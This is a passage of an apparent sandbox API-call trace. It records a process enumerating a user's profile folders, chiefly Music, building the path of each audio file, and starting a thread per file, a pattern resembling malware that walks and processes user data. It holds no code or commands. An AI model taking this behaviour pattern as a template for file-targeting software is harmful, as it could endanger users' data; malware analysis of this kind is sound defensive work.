lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0046.279] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0046.279] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0046.279] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0046.280] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0046.280] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0046.280] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0046.280] wcscmp (_String1="RecentPlaces.lnk", _String2=".") returned 1 [0046.280] wcscmp (_String1="RecentPlaces.lnk", _String2="..") returned 1 [0046.280] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0046.280] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0046.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0046.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4141a8) returned 1 [0046.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444dc0) returned 1 Thread: id = 179 os_tid = 0x7d4 [0046.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x446050 [0046.281] wcscpy (in: _Dest=0x446050, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0046.281] wcscat (in: _Dest=0x446050, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\" [0046.281] wcscat (in: _Dest=0x446050, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*" [0046.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0046.281] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0046.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446050) returned 1 [0046.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449c80) returned 1 Thread: id = 180 os_tid = 0x7bc [0046.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4141a8 [0046.282] wcscpy (in: _Dest=0x4141a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0046.282] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0046.282] wcscat (in: _Dest=0x4141a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*" [0046.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0046.282] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x878ef7a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x878ef7a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0046.282] wcscmp (_String1=".", _String2=".") returned 0 [0046.282] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x878ef7a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x878ef7a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.282] wcscmp (_String1="..", _String2=".") returned 1 [0046.282] wcscmp (_String1="..", _String2="..") returned 0 [0046.282] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4133b7b0, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0xe8fa800, ftLastAccessTime.dwHighDateTime=0x1d4d52c, ftLastWriteTime.dwLowDateTime=0xe8fa800, ftLastWriteTime.dwHighDateTime=0x1d4d52c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cIu6mK", cAlternateFileName="")) returned 1 [0046.282] wcscmp (_String1="cIu6mK", _String2=".") returned 1 [0046.282] wcscmp (_String1="cIu6mK", _String2="..") returned 1 [0046.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a6d0 [0046.282] wcscpy (in: _Dest=0x44a6d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0046.282] wcscat (in: _Dest=0x44a6d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0046.283] wcscat (in: _Dest=0x44a6d0, _Source="cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0048.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0048.909] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fd4840, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0xfc019f50, ftLastAccessTime.dwHighDateTime=0x1d4d331, ftLastWriteTime.dwLowDateTime=0xfc019f50, ftLastWriteTime.dwHighDateTime=0x1d4d331, nFileSizeHigh=0x0, nFileSizeLow=0x1f1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="D7bmtVRDqqHssbHmEw.mp3", cAlternateFileName="D7BMTV~1.MP3")) returned 1 [0048.909] wcscmp (_String1="D7bmtVRDqqHssbHmEw.mp3", _String2=".") returned 1 [0048.909] wcscmp (_String1="D7bmtVRDqqHssbHmEw.mp3", _String2="..") returned 1 [0048.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3ffe18 [0048.909] wcscpy (in: _Dest=0x3ffe18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.909] wcscat (in: _Dest=0x3ffe18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.909] wcscat (in: _Dest=0x3ffe18, _Source="D7bmtVRDqqHssbHmEw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3" [0048.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0048.910] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.910] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.910] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.910] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d468d70, ftCreationTime.dwHighDateTime=0x1d4d292, ftLastAccessTime.dwLowDateTime=0xefe987b0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0xefe987b0, ftLastWriteTime.dwHighDateTime=0x1d4d2e5, nFileSizeHigh=0x0, nFileSizeLow=0xce95, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hq_YR2Kg4mRaMvEMAt.m4a", cAlternateFileName="HQ_YR2~1.M4A")) returned 1 [0048.910] wcscmp (_String1="Hq_YR2Kg4mRaMvEMAt.m4a", _String2=".") returned 1 [0048.910] wcscmp (_String1="Hq_YR2Kg4mRaMvEMAt.m4a", _String2="..") returned 1 [0048.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3ffd98 [0048.910] wcscpy (in: _Dest=0x3ffd98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.910] wcscat (in: _Dest=0x3ffd98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.910] wcscat (in: _Dest=0x3ffd98, _Source="Hq_YR2Kg4mRaMvEMAt.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a" [0048.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0048.912] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5228d950, ftCreationTime.dwHighDateTime=0x1d4d591, ftLastAccessTime.dwLowDateTime=0xbdc90330, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0xbdc90330, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0x8d3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HzzDA5qZ 1f0PJR U.wav", cAlternateFileName="HZZDA5~1.WAV")) returned 1 [0048.912] wcscmp (_String1="HzzDA5qZ 1f0PJR U.wav", _String2=".") returned 1 [0048.912] wcscmp (_String1="HzzDA5qZ 1f0PJR U.wav", _String2="..") returned 1 [0048.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e238 [0048.912] wcscpy (in: _Dest=0x45e238, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.912] wcscat (in: _Dest=0x45e238, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.912] wcscat (in: _Dest=0x45e238, _Source="HzzDA5qZ 1f0PJR U.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzzDA5qZ 1f0PJR U.wav" [0048.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0048.913] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7c2f30, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x5d413820, ftLastAccessTime.dwHighDateTime=0x1d4c7cf, ftLastWriteTime.dwLowDateTime=0x5d413820, ftLastWriteTime.dwHighDateTime=0x1d4c7cf, nFileSizeHigh=0x0, nFileSizeLow=0x5d2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IZeLkiPTje77_rgy.wav", cAlternateFileName="IZELKI~1.WAV")) returned 1 [0048.913] wcscmp (_String1="IZeLkiPTje77_rgy.wav", _String2=".") returned 1 [0048.913] wcscmp (_String1="IZeLkiPTje77_rgy.wav", _String2="..") returned 1 [0048.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e2b8 [0048.913] wcscpy (in: _Dest=0x45e2b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.913] wcscat (in: _Dest=0x45e2b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.913] wcscat (in: _Dest=0x45e2b8, _Source="IZeLkiPTje77_rgy.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IZeLkiPTje77_rgy.wav" [0048.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0048.914] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x331ba670, ftCreationTime.dwHighDateTime=0x1d4ca0e, ftLastAccessTime.dwLowDateTime=0x57211a0, ftLastAccessTime.dwHighDateTime=0x1d4cb9e, ftLastWriteTime.dwLowDateTime=0x57211a0, ftLastWriteTime.dwHighDateTime=0x1d4cb9e, nFileSizeHigh=0x0, nFileSizeLow=0x18ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="P8AORxU.mp3", cAlternateFileName="")) returned 1 [0048.914] wcscmp (_String1="P8AORxU.mp3", _String2=".") returned 1 [0048.914] wcscmp (_String1="P8AORxU.mp3", _String2="..") returned 1 [0048.915] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445de0 [0048.915] wcscpy (in: _Dest=0x445de0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.915] wcscat (in: _Dest=0x445de0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.915] wcscat (in: _Dest=0x445de0, _Source="P8AORxU.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3" [0048.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0048.916] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7e9980, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0xab77e7b0, ftLastAccessTime.dwHighDateTime=0x1d4cf12, ftLastWriteTime.dwLowDateTime=0xab77e7b0, ftLastWriteTime.dwHighDateTime=0x1d4cf12, nFileSizeHigh=0x0, nFileSizeLow=0xf3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="rkK CRsPW.m4a", cAlternateFileName="RKKCRS~1.M4A")) returned 1 [0048.916] wcscmp (_String1="rkK CRsPW.m4a", _String2=".") returned 1 [0048.916] wcscmp (_String1="rkK CRsPW.m4a", _String2="..") returned 1 [0048.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421508 [0048.916] wcscpy (in: _Dest=0x421508, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.916] wcscat (in: _Dest=0x421508, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.916] wcscat (in: _Dest=0x421508, _Source="rkK CRsPW.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a" [0048.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0048.917] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5294e990, ftCreationTime.dwHighDateTime=0x1d4d057, ftLastAccessTime.dwLowDateTime=0x64fa6820, ftLastAccessTime.dwHighDateTime=0x1d4ce1e, ftLastWriteTime.dwLowDateTime=0x64fa6820, ftLastWriteTime.dwHighDateTime=0x1d4ce1e, nFileSizeHigh=0x0, nFileSizeLow=0xafe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="uujV-aP.wav", cAlternateFileName="")) returned 1 [0048.917] wcscmp (_String1="uujV-aP.wav", _String2=".") returned 1 [0048.917] wcscmp (_String1="uujV-aP.wav", _String2="..") returned 1 [0048.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446120 [0048.917] wcscpy (in: _Dest=0x446120, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.917] wcscat (in: _Dest=0x446120, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.917] wcscat (in: _Dest=0x446120, _Source="uujV-aP.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav" [0048.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0048.919] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94114040, ftCreationTime.dwHighDateTime=0x1d4c967, ftLastAccessTime.dwLowDateTime=0x2e597bf0, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x2e597bf0, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0xe4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOKuzj-wTTq98-6lD.m4a", cAlternateFileName="YOKUZJ~1.M4A")) returned 1 [0048.919] wcscmp (_String1="YOKuzj-wTTq98-6lD.m4a", _String2=".") returned 1 [0048.919] wcscmp (_String1="YOKuzj-wTTq98-6lD.m4a", _String2="..") returned 1 [0048.919] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e338 [0048.919] wcscpy (in: _Dest=0x45e338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.919] wcscat (in: _Dest=0x45e338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.919] wcscat (in: _Dest=0x45e338, _Source="YOKuzj-wTTq98-6lD.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YOKuzj-wTTq98-6lD.m4a" [0048.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0048.920] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bdf1d50, ftCreationTime.dwHighDateTime=0x1d4cc1f, ftLastAccessTime.dwLowDateTime=0xce466990, ftLastAccessTime.dwHighDateTime=0x1d4d298, ftLastWriteTime.dwLowDateTime=0xce466990, ftLastWriteTime.dwHighDateTime=0x1d4d298, nFileSizeHigh=0x0, nFileSizeLow=0x8ad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z kg QS_edX3OayJ.wav", cAlternateFileName="ZKGQS_~1.WAV")) returned 1 [0048.920] wcscmp (_String1="Z kg QS_edX3OayJ.wav", _String2=".") returned 1 [0048.920] wcscmp (_String1="Z kg QS_edX3OayJ.wav", _String2="..") returned 1 [0048.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e3b8 [0048.920] wcscpy (in: _Dest=0x45e3b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.920] wcscat (in: _Dest=0x45e3b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.920] wcscat (in: _Dest=0x45e3b8, _Source="Z kg QS_edX3OayJ.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z kg QS_edX3OayJ.wav" [0048.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e3b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0048.921] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9a5df0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0xf63e20f0, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0xf63e20f0, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0xcd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZR-DZJxUB0tFZfADVB.mp3", cAlternateFileName="ZR-DZJ~1.MP3")) returned 1 [0048.921] wcscmp (_String1="ZR-DZJxUB0tFZfADVB.mp3", _String2=".") returned 1 [0048.922] wcscmp (_String1="ZR-DZJxUB0tFZfADVB.mp3", _String2="..") returned 1 [0048.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e438 [0048.922] wcscpy (in: _Dest=0x45e438, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0048.922] wcscat (in: _Dest=0x45e438, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0048.922] wcscat (in: _Dest=0x45e438, _Source="ZR-DZJxUB0tFZfADVB.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS 